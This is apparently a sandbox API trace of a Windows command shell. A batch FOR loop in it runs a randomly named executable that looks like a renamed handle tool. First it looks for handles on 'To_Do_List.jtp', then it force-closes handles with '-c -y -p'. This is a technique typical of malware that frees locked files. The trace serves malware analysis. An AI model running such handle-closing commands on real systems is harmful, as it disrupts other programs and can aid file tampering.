[0083.181] GetProcessHeap () returned 0x170000 [0083.181] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0083.184] _tell (_FileHandle=3) returned 226 [0083.184] _close (_FileHandle=3) returned 0 [0083.184] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aee3c | out: _Buffer="\r\n") returned 2 [0083.184] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.184] GetFileType (hFile=0x7) returned 0x2 [0083.184] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.184] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aedfc | out: lpMode=0x3aedfc) returned 1 [0083.185] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.185] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aee28, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aee28*=0x2) returned 1 [0083.186] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0083.186] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.186] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3aee38 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0083.186] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3aee38 | out: _Buffer=">") returned 1 [0083.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.186] GetFileType (hFile=0x7) returned 0x2 [0083.186] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.186] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aee00 | out: lpMode=0x3aee00) returned 1 [0083.187] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.187] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3aee2c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3aee2c*=0x26) returned 1 [0083.187] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x3af0bc | out: _Buffer="FOR") returned 3 [0083.187] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.187] GetFileType (hFile=0x7) returned 0x2 [0083.187] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.187] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0083.188] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.188] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x3) returned 1 [0083.188] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x3af0bc | out: _Buffer=" /F") returned 3 [0083.188] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.188] GetFileType (hFile=0x7) returned 0x2 [0083.188] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.188] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0083.189] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.189] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x3) returned 1 [0083.189] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x3af0bc | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0083.189] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.189] GetFileType (hFile=0x7) returned 0x2 [0083.189] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.189] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0083.189] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.189] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x20) returned 1 [0083.190] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x3af0bc | out: _Buffer=" %I IN ") returned 7 [0083.190] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.190] GetFileType (hFile=0x7) returned 0x2 [0083.190] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.190] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0083.190] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.190] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x7) returned 1 [0083.192] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x3af0b8 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner`) DO ") returned 59 [0083.192] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.192] GetFileType (hFile=0x7) returned 0x2 [0083.192] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.192] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af078 | out: lpMode=0x3af078) returned 1 [0083.192] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.192] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x3af0a4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a4*=0x3b) returned 1 [0083.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.193] GetFileType (hFile=0x7) returned 0x2 [0083.193] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.193] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af084 | out: lpMode=0x3af084) returned 1 [0083.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.193] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x3af0b0, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x3af0b0*=0x1) returned 1 [0083.194] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.194] GetFileType (hFile=0x7) returned 0x2 [0083.194] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.194] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af068 | out: lpMode=0x3af068) returned 1 [0083.194] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.194] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1843a0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x3af094, lpReserved=0x0 | out: lpBuffer=0x1843a0*, lpNumberOfCharsWritten=0x3af094*=0xc) returned 1 [0083.194] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af0a0 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0083.194] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.194] GetFileType (hFile=0x7) returned 0x2 [0083.195] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.195] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af060 | out: lpMode=0x3af060) returned 1 [0083.195] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.195] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3af08c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af08c*=0x26) returned 1 [0083.198] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af0bc | out: _Buffer=") ") returned 2 [0083.198] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.198] GetFileType (hFile=0x7) returned 0x2 [0083.198] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.198] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0083.198] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.198] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x2) returned 1 [0083.199] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3af0dc | out: _Buffer="\r\n") returned 2 [0083.199] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.199] GetFileType (hFile=0x7) returned 0x2 [0083.199] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.199] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af09c | out: lpMode=0x3af09c) returned 1 [0083.199] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.199] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af0c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0c8*=0x2) returned 1 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x2c) returned 0x184428 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xc) returned 0x170db8 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xc) returned 0x170dd0 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe) returned 0x170de8 [0083.201] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0083.201] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0083.201] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0083.201] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0083.201] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0083.201] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0083.201] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0083.201] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x3aeff8, _Radix=0 | out: _EndPtr=0x3aeff8*=",6 delims=: \"") returned 3 [0083.201] wcstol (in: _String="6 delims=: \"", _EndPtr=0x3aeff8, _Radix=0 | out: _EndPtr=0x3aeff8*=" delims=: \"") returned 6 [0083.201] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0083.201] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0083.201] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0083.201] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170de8 | out: hHeap=0x170000) returned 1 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe) returned 0x170de8 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x170db8, Size=0xe) returned 0x170e00 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x170e00) returned 0xe [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x170dd0, Size=0x14) returned 0x184460 [0083.201] GetProcessHeap () returned 0x170000 [0083.201] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x184460) returned 0x14 [0083.202] _wpopen (_Command="bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner", _Mode="rb") returned 0x76be2960 [0083.328] feof (_File=0x76be2960) returned 0 [0083.328] ferror (_File=0x76be2960) returned 0 [0083.328] GetProcessHeap () returned 0x170000 [0083.328] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x108) returned 0x184480 [0083.328] fgets (in: _Buf=0x184488, _MaxCount=256, _File=0x76be2960 | out: _Buf="No matching handles found.\r\r\n", _File=0x76be2960) returned="No matching handles found.\r\r\n" [0095.958] feof (_File=0x76be2960) returned 0 [0095.958] ferror (_File=0x76be2960) returned 0 [0095.958] GetProcessHeap () returned 0x170000 [0095.959] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x184480, Size=0x208) returned 0x184480 [0095.959] GetProcessHeap () returned 0x170000 [0095.959] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x184480) returned 0x208 [0095.959] fgets (in: _Buf=0x1844a5, _MaxCount=483, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0098.129] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 0 [0098.132] GetProcessHeap () returned 0x170000 [0098.132] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x184480, Size=0x46) returned 0x184480 [0098.133] GetProcessHeap () returned 0x170000 [0098.133] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x184480) returned 0x46 [0098.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x1844a5, cbMultiByte=29, lpWideCharStr=0x184488, cchWideChar=29 | out: lpWideCharStr="No matching handles found.\r\r\n") returned 29 [0098.133] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b28 [0098.133] GetProcessHeap () returned 0x170000 [0098.133] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x194b28, Size=0x3c) returned 0x194b28 [0098.133] GetProcessHeap () returned 0x170000 [0098.133] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x194b28) returned 0x3c [0098.133] GetProcessHeap () returned 0x170000 [0098.133] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b70 [0098.133] GetProcessHeap () returned 0x170000 [0098.133] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x194b70, Size=0xac) returned 0x194b70 [0098.133] GetProcessHeap () returned 0x170000 [0098.133] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x194b70) returned 0xac [0098.133] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aecec | out: _Buffer="\r\n") returned 2 [0098.133] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.134] GetFileType (hFile=0x7) returned 0x2 [0098.134] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.134] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aecac | out: lpMode=0x3aecac) returned 1 [0098.135] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.135] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aecd8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aecd8*=0x2) returned 1 [0098.138] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0098.139] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3aece8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0098.139] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3aece8 | out: _Buffer=">") returned 1 [0098.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.139] GetFileType (hFile=0x7) returned 0x2 [0098.139] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.139] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aecb0 | out: lpMode=0x3aecb0) returned 1 [0098.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.139] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3aecdc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3aecdc*=0x26) returned 1 [0098.140] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.140] GetFileType (hFile=0x7) returned 0x2 [0098.140] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.140] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aef34 | out: lpMode=0x3aef34) returned 1 [0098.140] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.140] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x3aef60, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x3aef60*=0x1) returned 1 [0098.141] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.141] GetFileType (hFile=0x7) returned 0x2 [0098.141] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.141] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aef18 | out: lpMode=0x3aef18) returned 1 [0098.141] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.141] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x194b30*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x3aef44, lpReserved=0x0 | out: lpBuffer=0x194b30*, lpNumberOfCharsWritten=0x3aef44*=0xc) returned 1 [0098.142] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3aef50 | out: _Buffer=" -accepteula -c -y -p handles -nobanner ") returned 41 [0098.142] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.142] GetFileType (hFile=0x7) returned 0x2 [0098.142] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.142] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aef10 | out: lpMode=0x3aef10) returned 1 [0098.142] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.142] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x29, lpNumberOfCharsWritten=0x3aef3c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aef3c*=0x29) returned 1 [0098.144] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3aef6c | out: _Buffer=") ") returned 2 [0098.144] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.144] GetFileType (hFile=0x7) returned 0x2 [0098.144] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.144] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aef2c | out: lpMode=0x3aef2c) returned 1 [0098.144] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.144] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aef58, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aef58*=0x2) returned 1 [0098.145] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aef8c | out: _Buffer="\r\n") returned 2 [0098.145] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.145] GetFileType (hFile=0x7) returned 0x2 [0098.145] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.145] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aef4c | out: lpMode=0x3aef4c) returned 1 [0098.146] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.146] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aef78, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aef78*=0x2) returned 1 [0098.147] GetConsoleTitleW (in: lpConsoleTitle=0x3aea9c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.149] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1846f0, lpFilePart=0x3ae5bc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ae5bc*="Desktop") returned 0x25 [0098.149] SetErrorMode (uMode=0x0) returned 0x1 [0098.149] GetProcessHeap () returned 0x170000 [0098.149] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1846e8, Size=0x6e) returned 0x1846e8 [0098.149] GetProcessHeap () returned 0x170000 [0098.149] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1846e8) returned 0x6e [0098.149] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0098.149] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0098.149] GetProcessHeap () returned 0x170000 [0098.149] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x120) returned 0x184760 [0098.149] GetProcessHeap () returned 0x170000 [0098.149] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x238) returned 0x184888 [0098.149] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0098.149] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x3ae358, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ae358) returned 0x184a38 [0098.150] FindClose (in: hFindFile=0x184a38 | out: hFindFile=0x184a38) returned 1 [0098.150] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0098.150] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0098.150] GetConsoleTitleW (in: lpConsoleTitle=0x3ae830, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.150] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ae6b8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ae780 | out: lpAttributeList=0x3ae6b8, lpSize=0x3ae780) returned 1 [0098.150] UpdateProcThreadAttribute (in: lpAttributeList=0x3ae6b8, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ae778, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ae6b8, lpPreviousValue=0x0) returned 1 [0098.150] GetStartupInfoW (in: lpStartupInfo=0x3ae674 | out: lpStartupInfo=0x3ae674*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0098.150] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0098.151] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3ae714*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ae760 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x3ae760*(hProcess=0x74, hThread=0x84, dwProcessId=0xde0, dwThreadId=0xde4)) returned 1 [0098.161] CloseHandle (hObject=0x84) returned 1 [0098.161] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0098.161] GetProcessHeap () returned 0x170000 [0098.161] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1876d0 | out: hHeap=0x170000) returned 1 [0098.161] GetEnvironmentStringsW () returned 0x186b40* [0098.161] GetProcessHeap () returned 0x170000 [0098.161] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb84) returned 0x1876d0 [0098.161] FreeEnvironmentStringsW (penv=0x186b40) returned 1 [0098.161] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0100.426] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x3ae654 | out: lpExitCode=0x3ae654*=0x0) returned 1 [0100.426] CloseHandle (hObject=0x74) returned 1 [0100.426] _vsnwprintf (in: _Buffer=0x3ae79c, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ae660 | out: _Buffer="00000000") returned 8 [0100.426] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0100.427] GetProcessHeap () returned 0x170000 [0100.427] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1876d0 | out: hHeap=0x170000) returned 1 [0100.427] GetEnvironmentStringsW () returned 0x186b40* [0100.427] GetProcessHeap () returned 0x170000 [0100.427] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb84) returned 0x1876d0 [0100.427] FreeEnvironmentStringsW (penv=0x186b40) returned 1 [0100.427] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0100.427] GetProcessHeap () returned 0x170000 [0100.427] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1876d0 | out: hHeap=0x170000) returned 1 [0100.427] GetEnvironmentStringsW () returned 0x186b40* [0100.427] GetProcessHeap () returned 0x170000 [0100.427] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb84) returned 0x1876d0 [0100.427] FreeEnvironmentStringsW (penv=0x186b40) returned 1 [0100.427] GetProcessHeap () returned 0x170000 [0100.427] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170dd0 | out: hHeap=0x170000) returned 1 [0100.427] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ae6b8 | out: lpAttributeList=0x3ae6b8) [0100.427] GetProcessHeap () returned 0x170000 [0100.427] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184480 | out: hHeap=0x170000) returned 1 [0100.427] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.427] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0100.428] _get_osfhandle (_FileHandle=1) returned 0x7 [0100.428] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0100.428] _get_osfhandle (_FileHandle=0) returned 0x3 [0100.428] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 